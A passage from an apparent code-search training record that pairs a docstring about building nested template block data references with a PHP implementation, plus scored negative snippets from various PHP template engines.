substr($var, 1, -1);\r\t\t\tif (is_numeric($var))\r\t\t\t{\r\t\t\t\t$_result .= \"[$var]\";\r\t\t\t}\r\t\t\telseif ($var{0} == '$')\r\t\t\t{\r\t\t\t\t$_result .= \"[\" . $object->_compile_variable($var) . \"]\";\r\t\t\t}\r\t\t\telseif ($var{0} == '#')\r\t\t\t{\r\t\t\t\t$_result .= \"[\" . $object->_compile_config($var) . \"]\";\r\t\t\t}\r\t\t\telse\r\t\t\t{\r\t\t\t\t$_result .= \"['$var']\";\r\t\t\t}\r\t }\r\t else if ($var{0} == '.')\r\t {\r \t\t\t\tif ($var{1} == '$')\r\t\t\t{\r \t\t\t\t$_result .= \"[\\$this->_TPL['\" . substr($var, 2) . \"']]\";\r\t\t\t}\r\t \t\telse\r\t\t\t{\r\t\t \t\t$_result .= \"['\" . substr($var, 1) . \"']\";\r\t\t\t}\r\t\t}\r\t\telse if (substr($var,0,2) == '->')\r\t\t{\r\t\t\tif(substr($var,2,2) == '__')\r\t\t\t{\r\t\t\t\t$object->trigger_error('call to internal object members is not allowed', E_USER_ERROR, __FILE__, __LINE__);\r\t\t\t}\r\t\t\telse if (substr($var, 2, 1) == '$')\r\t\t\t{\r\t\t\t\t$_output .= '->{(($var=$this->_TPL[\\''.substr($var,3).'\\']) && substr($var,0,2)!=\\'__\\') ? $_var : $this->trigger_error(\"cannot access property \\\\\"$var\\\\\"\")}';\r\t\t\t}\r\t\t}\r\t\telse\r\t\t{\r\t\t\t$object->trigger_error('#' . $var_name.implode('', $variable) . '# is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);\r\t\t}\r\t}\r\treturn $_result;\r}", "function set_var($name, $value){ // set the template variable\n\tif (func_num_args()> 2){\n\t\tif (!$this->in_vars($name)) $this->vars[$name] = array();\n\t\t$this->vars[$name][func_get_arg(2)] = $value;\n\t} else $this->vars[$name] = $value;\n}", "public function replace_structure_variables($template)\n {\n // url, uri, and slug are handled by Structure\n $variables = array(\n // 'structure:page_url_for:',\n // 'structure:page_uri_for:',\n 'structure:page_title_for:',\n // 'structure:page_slug_for:'\n );\n\n $this->tagdata = $template;\n\n foreach ($variables as $var)\n {\n $this->structure_variable = $var;\n\n preg_replace_callback(\"/\".LD. preg_quote($var) .\"(.*?)\".RD.\"/\", array(&$this, '_replace_structure_variables'), $this->tagdata);\n }\n\n return $this->tagdata;\n }", "public function get_template_name(){\n\n return str_replace(\"_\",\"\",str_replace(\"_page\", \"\", get_class($this))) . \".tpl\";\n }", "protected function getDynamicVariableHeader()\n {\n return '<br><p><p><b><u>' . __('Dynamic Template variables:') . '</u></b>' .\n ' <font color = \"#ea7601\">' . __('their values will only be seen on the frontend. In the backend you’ll see the variables themselves.') . '</font>' .\n ' ' . __('Here randomizer values will change with every page refresh.');\n }", "function ou_df_grid_row($variables) {\n return '<div class=\"int-row\">' . $variables['element']['#children'] . '</div>';\n}", "function AppendByRef($tpl_var, &$value, $merge=false)\n {\n $this->_smarty->append_by_ref($tpl_var, $value, $merge);\n }", "function yy_r163(){ $this->prefix_number++; $this->compiler->prefix_code[] = '<?php ob_start();?>'.$this->yystack[$this->yyidx + 0]->minor.'<?php $_tmp'.$this->prefix_number.'=ob_get_clean();?>'; $this->_retvalue = '\".$_tmp'.$this->prefix_number.'.\"'; $this->compiler->has_variable_string = true; }" ]
[ "0.7779407", "0.648905", "0.6273007", "0.5546558", "0.5500743", "0.54861504", "0.53140366", "0.5241623", "0.5221448", "0.519775", "0.5160082", "0.50553805", "0.49542293", "0.49360588", "0.493492", "0.49149853", "0.49098226", "0.4826042", "0.4820124", "0.48110062", "0.4807146", "0.47779682", "0.47382063", "0.47240314", "0.470047", "0.47002947", "0.46893477", "0.46691638", "0.46633983", "0.4647562", "0.4645452", "0.46397334", "0.45986447", "0.45975634", "0.45932624", "0.45778832", "0.45752785", "0.45665297", "0.45395654", "0.45384905", "0.45369694", "0.45288214", "0.45266253", "0.4523028", "0.4517527", "0.4503371", "0.4501791", "0.45010665", "0.44959936", "0.44862777", "0.4470085", "0.44650787", "0.44626075", "0.4456779", "0.44530168", "0.44530168", "0.44492278", "0.44467798", "0.44445994", "0.44355053", "0.4425511", "0.44250834", "0.44198778", "0.44178525", "0.44140542", "0.4402464", "0.44010952", "0.44005784", "0.43983367", "0.4395001", "0.4394479", "0.43912432", "0.43853712", "0.43749008", "0.43742764", "0.4374247", "0.43727207", "0.4371018", "0.43594244", "0.43592235", "0.43578425", "0.43554544", "0.43463776", "0.43358436", "0.43321463", "0.4322034", "0.4317715", "0.43102908", "0.43101537", "0.43093613", "0.43092844", "0.43065718", "0.4295693", "0.42773846", "0.42761192", "0.42730972", "0.4270531", "0.4269586", "0.42641073", "0.4261961" ]
0.7528083
1
Generates a reference to the array of data values for the given (possibly nested) block namespace. This is a string of the form: $this>_tpldata['parent.'][$_parent_i]['$child1.'][$_child1_i]['$child2.'][$_child2_i]...['$childN.'] If $include_last_iterator is true, then [$_childN_i] will be appended to the form shown above. NOTE: does not expect a trailing "." on the blockname.
function generate_block_data_ref($blockname, $include_last_iterator, $defop = false) { // Get an array of the blocks involved. $blocks = explode('.', $blockname); $blockcount = sizeof($blocks) - 1; if($defop) { $varref = '$this->_tpldata[\'DEFINE\']'; // Build up the string with everything but the last child. for ($i = 0; $i < $blockcount; $i++) { $varref .= "['" . $blocks[$i] . ".'][\$" . $blocks[$i] . '_i]'; } // Add the block reference for the last child. $varref .= "['" . $blocks[$blockcount] . ".']"; // Add the iterator for the last child if requried. if ($include_last_iterator) { $varref .= '[$' . $blocks[$blockcount] . '_i]'; } return $varref; } if($include_last_iterator) { return '$' . $blocks[$blockcount] . '_item'; } else { return '$' . $blocks[$blockcount - 1] . '_item[\'' . $blocks[$blockcount] . '.\']'; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generate_block_data_ref($blockname, $include_last_iterator)\n\t{\n\t\t// Get an array of the blocks involved.\n\t\t$blocks = explode(\".\", $blockname);\n\t\t$blockcount = sizeof($blocks) - 1;\n\t\t$varref = '$this->_tpldata';\n\t\t// Build up the string with everything but the last child.\n\t\tfor ($i = 0; $i < $blockcount; $i++)\n\t\t{\n\t\t\t$varref .= '[\\'' . $blocks[$i] . '.\\'][$_' . $blocks[$i] . '_i]';\n\t\t}\n\t\t// Add the block reference for the last child.\n\t\t$varref .= '[\\'' . $blocks[$blockcount] . '.\\']';\n\t\t// Add the iterator for the last child if requried.\n\t\tif ($include_last_iterator)\n\t\t{\n\t\t\t$varref .= '[$_' . $blocks[$blockcount] . '_i]';\n\t\t}\n\n\t\treturn $varref;\n\t}", "function generate_block_varref($namespace, $varname)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\t$varref = '\\' . ( ( isset(' . $varref . ') ) ? ' . $varref . ' : \\'\\' ) . \\'';\n\n\t\treturn $varref;\n\n\t}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strpos($blockname, '.') !== false)\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata;\n\t\t\tfor($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i] . '.'];\n\t\t\t\t$str = &$str[sizeof($str) - 1];\n\t\t\t}\n\n\t\t\t$s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// Now the tricky part, we always assign S_LAST_ROW and remove the entry before\n\t\t\t// This is much more clever than going through the complete template data on display (phew)\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Now we add the block that we're actually assigning to.\n\t\t\t// We're adding a new iteration to this block with the given variable assignments.\n\t\t\t$str[$blocks[$blockcount] . '.'][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Top-level block.\n\t\t\t$s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// We always assign S_LAST_ROW and remove the entry before\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Add a new iteration to this block with the variable assignments we were given.\n\t\t\t$this->_tpldata[$blockname . '.'][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "function generate_block_varref($namespace, $varname, $use_isset = true)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\tif($use_isset)\n\t\t{\n\t\t\t$varref = '<' . '?php echo isset(' . $varref . ') ? ' . $varref . ' : \\'\\'; ?' . '>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$varref = '<' . '?php echo ' . $varref . '; ?' . '>';\n\t\t}\n\n\t\treturn $varref;\n\t}", "public function getAllValue() {\n\t\t$template = $this->get('field')->getFieldParams();\n\t\t$adb = PearDatabase::getInstance();\n\t\t$values = array();\n\t\t$result = $adb->pquery('SELECT * FROM vtiger_trees_templates_data WHERE templateid = ?', array($template));\n\t\tfor($i = 0; $i < $adb->num_rows($result); $i++){\n\t\t\t$tree = $adb->query_result_raw($result, $i, 'tree');\n\t\t\t$parent = '';\n\t\t\t$parentName = '';\n\t\t\tif($adb->query_result_raw($result, $i, 'depth') > 0){\n\t\t\t\t$parenttrre = $adb->query_result_raw($result, $i, 'parenttrre');\n\t\t\t\t$cut = strlen('::'.$tree);\n\t\t\t\t$parenttrre = substr($parenttrre, 0, - $cut);\n\t\t\t\t$pieces = explode('::', $parenttrre);\n\t\t\t\t$parent = end($pieces);\n\t\t\t\t$result3 = $adb->pquery(\"SELECT name FROM vtiger_trees_templates_data WHERE templateid = ? AND tree = ?\", array($template, $parent));\n\t\t\t\t$parentName = $adb->query_result_raw($result3, 0, 'name');\n\t\t\t\t$parentName = '(' . vtranslate($parentName, $module) . ') ';\n\t\t\t}\n\t\t\t$values[$adb->query_result_raw($result, $i, 'tree')] = array($parentName.vtranslate($adb->query_result_raw($result, $i, 'name'), $this->get('field')->getModuleName()),$parent);\n\t\t}\n\t\treturn $values;\n\t}", "function testBlockIteration()\n {\n $data = array(\n 'a',\n array('b', array('1', '2', '3', '4')),\n 'c',\n array('d', array('5', '6', '7'))\n );\n\n $result = $this->tpl->loadTemplateFile('blockiteration.html', true, true);\n if (PEAR::isError($result)) {\n $this->assertTrue(false, 'Error loading template file: '. $result->getMessage());\n }\n foreach ($data as $value) {\n if (is_array($value)) {\n $this->tpl->setVariable('outer', $value[0]);\n foreach ($value[1] as $v) {\n $this->tpl->setVariable('inner', $v);\n $this->tpl->parse('inner_block');\n }\n } else {\n $this->tpl->setVariable('outer', $value);\n }\n $this->tpl->parse('outer_block');\n }\n $this->assertEquals('a#b|1|2|3|4#c#d|5|6|7#', $this->_stripWhitespace($this->tpl->get()));\n }", "public function getBlocksDataFullRaw(): void\n\t{\n\t\t// Get global settings direct from file.\n\t\t$settings = $this->getSettingsManifest();\n\n\t\t$namespace = $settings['namespace'];\n\n\t\t$blocks = \\array_map(\n\t\t\tstatic function ($block) use ($namespace) {\n\t\t\t\t// Check if blocks-namespace is defined in block or in global manifest settings.\n\t\t\t\t$block['namespace'] = $namespace;\n\t\t\t\t$block['blockFullName'] = \"{$namespace}/{$block['blockName']}\";\n\n\t\t\t\treturn $block;\n\t\t\t},\n\t\t\t$this->getBlocksManifests()\n\t\t);\n\n\t\t// Register store and set all the data.\n\t\tComponents::setStore();\n\t\tComponents::setSettings($settings);\n\t\tComponents::setBlocks($blocks);\n\t\tComponents::setComponents($this->getComponentsManifests());\n\t\tComponents::setVariations($this->getVariationsManifests());\n\t\tComponents::setConfigFlags();\n\t\tComponents::setPaths();\n\n\t\tif (Components::getConfigUseWrapper()) {\n\t\t\tComponents::setWrapper($this->getWrapperManifest());\n\t\t}\n\t}", "public function printData() {\n $parent = new Helper($this->parent, $this->collection);\n $return = array(\n \"pages\" => $this->pages,\n \"title\" => $parent->retrieveTitle(),\n \"images\" => array()\n );\n\n // Run through each pointer.\n for ($i = 0; $i < count($this->compound); $i++) {\n $item = $this->compound[$i];\n\n // If we're on the same item, do not create a new class.\n if ($item[\"pointer\"] === $this->pointer) {\n $return[\"images\"][$i] = array(\n \"width\" => $this->getImageWidth(),\n \"height\" => $this->getImageHeight()\n );\n\n continue;\n }\n\n // Otherwise, create a temp class.\n $helper = new Helper($item[\"pointer\"], $this->collection);\n\n $return[\"images\"][$i] = array(\n \"width\" => $helper->getImageWidth(),\n \"height\" => $helper->getImageHeight()\n );\n }\n\n return $return;\n }", "function get_dynamic_block_names()\n {\n }", "private function _buildArray($variables)\n {\n $i = 0;\n $j = 0;\n foreach ($variables as $key => $section) {\n foreach ($section as $value) {\n // avoid first and last values, and tag elements\n if ($i == 0 || $i == count($variables[$key])\n || $value[0] == '<') {\n $i++;\n continue;\n } else {\n $variableParts = $this->cleanExplode(\"_\", $value);\n switch ($variableParts[0]) {\n case 'BLOCK':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['TYPE'] =\n $variableGroup[1];\n }\n break;\n\n case 'GROUP':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUPID'] =\n $variableGroup[1];\n }\n if (!empty ($variableGroup[2])) {\n //The group is nested inside other group\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[2];\n }\n break;\n\n case 'TAB':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['TYPE'] =\n $variableGroup[1];\n }\n break;\n\n case 'HEADING':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n break;\n\n case 'COMMENT':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[1];\n } elseif (!empty ($variableParts[2])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableParts[2];\n }\n break;\n\n case 'TEXT':\n case 'TEXTAREA':\n case 'SELECT':\n case 'DATE':\n self::$templateVariables[$key][$j]['TAG'] = $variableParts[0];\n $variableGroup = $this->cleanExplode(self::$_templateGroupSymbol, $variableParts[1]);\n self::$templateVariables[$key][$j]['NAME'] =\n $variableGroup[0];\n if (!empty ($variableGroup[1])) {\n self::$templateVariables[$key][$j]['GROUP'] =\n $variableGroup[1];\n }\n break;\n\n default:\n break;\n }\n $j++;\n }\n $i++;\n }\n }\n\n }", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strstr($blockname, '.'))\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata; \n\t\t\tfor ($i = 0; $i < $blockcount; $i++) \n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i]]; \n\t\t\t\t$str = &$str[sizeof($str) - 1]; \n\t\t\t}\n\t\t\t$str[$blocks[$blockcount]][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpldata[$blockname][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "private function iterationCallback($matches)\n {\n // Verify the key name is an array\n if(!isset($this->values[$matches[1]]) || !is_array($this->values[$matches[1]]))\n {\n // Log this\n $this->parent->log('View: ' . $this->name . ' - No suitable data for iteration: ' . $matches[1]);\n return '';\n }\n \n // Obtain the data\n $data = $this->values[$matches[1]];\n $nameSpace = $matches[2];\n $staticText = $matches[3];\n \n // Collect output\n $output = '';\n \n // Always reset values after parsing to clean up the namespace\n $valueCopy = $this->values;\n \n // Set up increment\n $this->values[$nameSpace . '.index'] = 0;\n \n // Loop over the data\n foreach($data as $row)\n {\n if(is_array($row))\n {\n // For every column, update the global namespace\n foreach($row as $columnKey => $columnValue)\n {\n $this->values[$nameSpace . '.' . $columnKey] = $columnValue;\n } \n }\n else\n {\n // Just set the single value\n $this->values[$nameSpace] = $row;\n }\n \n // Also add an increment accessor\n $this->values[$nameSpace . '.index'] ++;\n \n // Parse the text and buffer output.\n $output .= $this->parse($staticText); \n }\n \n // Restore namespace\n $this->values = $valueCopy;\n \n return $output;\n }", "private static function genParentDbFieldTableTemplate() {\n return array(\n self::ID_KEY => new AccessLayerField(DataTypeName::UNSIGNED_INT),\n self::CREATED_KEY => new AccessLayerField(DataTypeName::TIMESTAMP),\n self::LAST_UPDATED_TIME_KEY => new AccessLayerField(DataTypeName::TIMESTAMP),\n );\n }", "private function get_dynamic_block_names() {\n\t\t$blocks = array();\n\t\tforeach ( get_dynamic_block_names() as $name ) {\n\t\t\tif ( 0 !== strpos( $name, 'llms/' ) ) {\n\t\t\t\t$blocks[] = $name;\n\t\t\t}\n\t\t}\n\t\treturn apply_filters( 'llms_blocks_get_dynamic_block_names', $blocks );\n\t}", "function associateVariablesWithBlocks() {\n $varRefNo = 0;\n $activeBlockNo = 0;\n $nextBlockNo = 1;\n while ($varRefNo < $this->varRefTabCnt) {\n $vrtr =& $this->varRefTab[$varRefNo];\n $varRefTPos = $vrtr['tPosBegin'];\n $varNo = $vrtr['varNo'];\n if ($varRefTPos >= $this->blockTab[$activeBlockNo]['tPosEnd']) {\n $activeBlockNo = $this->blockTab[$activeBlockNo]['parentBlockNo'];\n continue; }\n if ($nextBlockNo < $this->blockTabCnt) {\n if ($varRefTPos >= $this->blockTab[$nextBlockNo]['tPosBegin']) {\n $activeBlockNo = $nextBlockNo;\n $nextBlockNo += 1;\n continue; }}\n $btr =& $this->blockTab[$activeBlockNo];\n if ($varRefTPos < $btr['tPosBegin'])\n $this->programLogicError(1);\n $blockVarNo = $btr['blockVarCnt']++;\n $btr['blockVarNoToVarNoMap'][$blockVarNo] = $varNo;\n if ($btr['firstVarRefNo'] == -1)\n $btr['firstVarRefNo'] = $varRefNo;\n $vrtr['blockNo'] = $activeBlockNo;\n $vrtr['blockVarNo'] = $blockVarNo;\n $varRefNo += 1; }}", "public function getDataStructure()\n\t{\n\t\t$sections = [];\n\t\tforeach($this->sections as $section) {\n\t\t\t$sections[] = [\n\t\t\t\t'name' => $section['name'],\n\t\t\t\t'blocks' => []\n\t\t\t];\n\t\t}\n\t\treturn $sections;\n\t}", "function GetFieldsData()\n {\n if ($this->debug_mode)\n echo $this->ClassName . \"::GetFieldsData();\" . \"<HR>\";\n $this->GetLangFieldsData(\"main\", $data);\n for ($j = 0; $j < sizeof($this->Kernel->Languages); $j ++) {\n $this->GetLangFieldsData($this->Kernel->Languages[$j], $data);\n } // for lang\n\n\n if (count($this->field_group_names)) {\n for ($j = 0; $j < sizeof($this->field_group_names); $j ++)\n $this->GetLangFieldsData($this->field_group_names[$j], $data);\n } //--for additional groups\n\n\n if ($this->multilevel) {\n $data[$this->parent_field] = $this->parent_id;\n }\n if (strlen($this->custom_val) && strlen($this->custom_var)) {\n $data[$this->custom_var] = $this->custom_val;\n }\n return $data;\n }", "function dataBlockParams($data_block, $field, $label) {\n $xml = Frx::RepoMan()->data($data_block);\n\n $list = array();\n if ($xml) {\n $path = ($field) ? $field : '*[1]';\n $label_path = ($label) ? $label : '*[2]';\n\n\n //walk through the $xml.\n //$rows = $xml->xpath('*');\n if ($xml) foreach ($xml as $row) {\n $value = $row->xpath($path);\n $label_field = $row->xpath($label_path);\n $label_value = $label_field ? (string)$label_field[0] : (string)$value[0];\n $list[(string)$value[0]] = (string)$label_value;\n\n }\n }\n return $list;\n }", "public function getSubBlocks();", "protected function getDataTemplate()\n {\n $mainProduct = Mage::registry('current_product');\n if (!$mainProduct) {\n return array();\n }\n\n $idFieldName = Mage::helper('factfinder_tracking')->getIdFieldName();\n\n $dataTemplate = array(\n 'mainId' => $mainProduct->getData($idFieldName),\n 'event' => self::EVENT_NAME\n );\n\n return $dataTemplate;\n }", "private function __parseData($data, $parent, $inner = false) {\n\t\t$out = array();\n\t\tforeach ($data as $param) {\n\t\t\textract($param);\n\t\t\t\n\t\t\t$valueElement = $parent->createElement('value', null);\n\t\t\t\n\t\t\tswitch ($type) {\n\t\t\t\tcase 'array':\n\t\t\t\t\t$arrayEl = $valueElement->createElement('array', null);\n\t\t\t\t\t$dataEl = $arrayEl->createElement('data', null);\t\t\t\t\n\t\t\t\t\t$this->__parseData($value, $dataEl, true);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'struct':\n\t\t\t\t\t$structEl = $valueElement->createElement('struct', null);\n\t\t\t\t\tforeach ($value as $memberKey => $memberValue) {\n\t\t\t\t\t\t$memberEl = $structEl->createElement('member', null);\n\t\t\t\t\t\t$memberEl->createElement('name', $memberKey);\n\t\t\t\t\t\t$this->__parseData(array($memberValue), $memberEl, true);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'date':\n\t\t\t\t\t$valueElement->createElement('dateTime.iso8601', date('Ymd\\TH:i:s', strtotime($value) ));\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'base64':\n\t\t\t\tcase 'string':\n\t\t\t\tcase 'int':\n\t\t\t\tcase 'double':\n\t\t\t\t\t$valueElement->createElement($type, $value);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'boolean':\n\t\t\t\t\t$bool = (boolean)$value ? 'true' : 'false';\n\t\t\t\t\t$valueElement->createElement('boolean', $bool);\n\t\t\t\tbreak;\t\t\t\t\n\t\t\t}\n\n\t\t\tif ($inner == false) {\n\t\t\t\t$paramElement = $parent->createElement('param', null);\n\t\t\t\t$valueElement->setParent($paramElement);\n\t\t\t} else {\n\t\t\t\t$paramElement = $valueElement;\n\t\t\t}\n\t\t\t$out[] = $paramElement;\n\t\t}\n\t\treturn $out;\t\t\n\t}", "public function getChildrenAggregationData()\n {\n $out = [];\n\n $mapping = [\n 'product' => [\n 'properties' => [\n 'title' => [\n 'type' => 'string',\n ],\n ],\n ],\n 'comment' => [\n '_parent' => [\n 'type' => 'product',\n ],\n '_routing' => [\n 'required' => true,\n ],\n 'properties' => [\n 'sub_title' => [\n 'type' => 'string',\n ],\n ],\n ],\n ];\n\n // Case #0 simple terms aggregation.\n $aggregation = new TermsAggregation('test_terms_agg');\n $aggregation->setField('comment.sub_title');\n\n $result = [\n 'doc_count' => 2,\n 'agg_test_terms_agg' => [\n 'buckets' => [\n [\n 'key' => 'bar',\n 'doc_count' => 1,\n ],\n [\n 'key' => 'foo',\n 'doc_count' => 1,\n ],\n ],\n ],\n ];\n\n $out[] = [\n $aggregation,\n $result,\n $mapping,\n ];\n\n return $out;\n }", "private function build_item_data($groupie, $rows) {\n\t\t$rendered='';\n\t\t$item_count=0;\n\t\t$item_count_total=0;\n\t\t$rows_current=array();\n\t\t// process the item template (lowest levels only)\n\t\tif (($rows!=null) && ($groupie->item_template!=null)) {\n\t\t\t\n\t\t\t// if there is a field map defined, map the values from the row\n\t\t\t// into the control->attributes array\n\t\t\tif($groupie->control_attribute_map) {\n\t\t\t\t$map_items = $groupie->control_attribute_map->items;\n\n\t\t\t\tforeach($map_items as $item)\n\t\t\t\t{\t\n\t\t\t\t\tforeach($item->items as $attribute => $mapping)\n\t\t\t\t\t\t$this->attributes[$attribute] = $rows[0][$mapping];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\ttry {\n\t\t\t\t$template=$this->get_template($groupie->item_template);\n\t\t\t} catch (Exception $e) { \n\t\t\t\t// The only exception currently thrown is if the item template file isn't there\n\t\t\t\t// (in this case, we'll look for item.php in the same location)\n\t\t\t\t$item_segments = explode(\"/\", $groupie->item_template);\n\t\t\t\tarray_pop($item_segments); // ditch original file name\n\t\t\t\t$item_segments[] = \"item\"; // add default file \n\t\t\t\t$template=new Template(implode(\"/\", $item_segments));\n\t\t\t}\n\n\t\t\t$total_rows = count($rows);\n\t\t\tforeach($rows as $row) {\n\t\t\t\t$rendered.=$template->render(array('item' => $row, 'control' => $this, 'count' => $this->count, 'total_count' => $this->total_count, 'item_count' => $item_count, 'total_rows' => $total_rows));\n\t\t\t\t\n\t\t\t\t$this->current=&$row;\n\t\t\t\t\n\t\t\t\tif ($this->selected_id==$row['id'])\n\t\t\t\t\t$this->current_index=$this->count;\n\t\t\t\t\n\t\t\t\t$this->count++;\n\t\t\t\t$item_count++;\n\t\t\t\t$item_count_total++;\n\t\t\t}\n\t\t\t$rows_current=$rows;\n\t\t} else {\n\t\t\t//Keep on recursing as no item_templates present\n\t\t\t$out = $this->build_item($groupie, $rows);\n\t\t\t$rendered.=$out['content'];\n\t\t\t$item_count_total+=$out['count'];\n\t\t\t$rows_current+=$out['rows'];\n\t\t}\n\t\t\n\t\t// process the container if present, passing in all rendered content\n\t\tif ($groupie->container_template!=null) {\n\t\t\t$view=$this->get_template($groupie->container_template); //View($this->parent,$groupie->container_template); // shitloads faster to use Template\n\t\t\t$rendered=$view->render(array('current_index' => $this->current_index, 'total_count' => $this->total_count, 'count' => $this->count, 'control' => $this, 'content' => $rendered, 'item_count' => $item_count, 'item_count_total' => $item_count_total, 'items' => $rows_current, 'config' => $groupie));\n\t\t}\n\t\t\n\t\t$out = array('content'=>$rendered, 'count'=>$item_count_total, 'rows'=>$rows_current);\n\t\treturn $out;\n\t}", "function data($data_block, $raw_mode=FALSE) {\n list($provider, $block_name) = explode('/', $data_block, 2);\n //Intstantiate the provider\n $o = $this->repository($provider);\n $repos = @$this->repositories[$provider];\n if (isset($repos['enabled']) && !$repos['enabled']) {\n return '';\n }\n //Populate user callback.\n if (isset($repos['user callback'])) {\n $user_fn = $repos['user callback'];\n if (is_callable($user_fn)) {\n $current_user = $user_fn();\n Frx::Data()->setValue('current_user', $current_user);\n }\n }\n\n\n $xml = '';\n if ($o) {\n $access = TRUE;\n $block = $this->loadBlock($data_block);\n $right = @$block['access'];\n if ($block && $o->access($right)) {\n if ($raw_mode) $block['options']['return_type'] = 'raw';\n switch ($block['type']) {\n case 'sql':\n $xml = $o->sqlData($block['source'], @$block['options']);\n break;\n case 'xml':\n $xml = $o->xmlData($block['source']);\n break;\n case 'php':\n $data = Frx::Data()->currentContextArray();\n $xml = $o->phpData($block['object'], $data );\n break;\n }\n\n }\n return $xml;\n }\n else {\n return '';\n }\n }", "private function getLayoutData()\n {\n return [\n 'components' => [\n 'checkout' => [\n 'children' => [\n 'steps' => [\n 'children' => [\n 'billing-step' => [\n 'children' => [\n 'payment' => [\n 'children' => [\n 'renders' => [\n 'children' => [\n 'payment1' => [\n 'methods' => [\n 'payment1_1' => [\n 'isBillingAddressRequired' => true\n ]\n ]\n ],\n 'payment2' => [\n 'methods' => [\n 'payment2_1' => [\n 'isBillingAddressRequired' => true\n ],\n 'payment2_2' => [\n 'isBillingAddressRequired' => false\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ]\n ];\n }", "function prepareData(){\n $this->ref = array();\n foreach($this->getIterator() as $junk=>$item){\n // current values\n $id = $item[$this->id_field];\n \n // save item\n $this->items[$id] = $item;\n \n // save relation\n if(isset($item[$this->parent_id_field])) {\n $this->ref[$item[$this->parent_id_field]][] = $id;\n } else {\n $this->ref[undefined][] = $id;\n }\n }\n }", "function getDataListTemplate( $html, $moduleName)\n\t{\n\t\t$dataRepeaterTemplate = SoondaUtil::getStringBetween( $html, \"<soo:data$moduleName>\", \"</soo:data$moduleName>\");\n\t\treturn $dataRepeaterTemplate;\n\t}", "protected static function 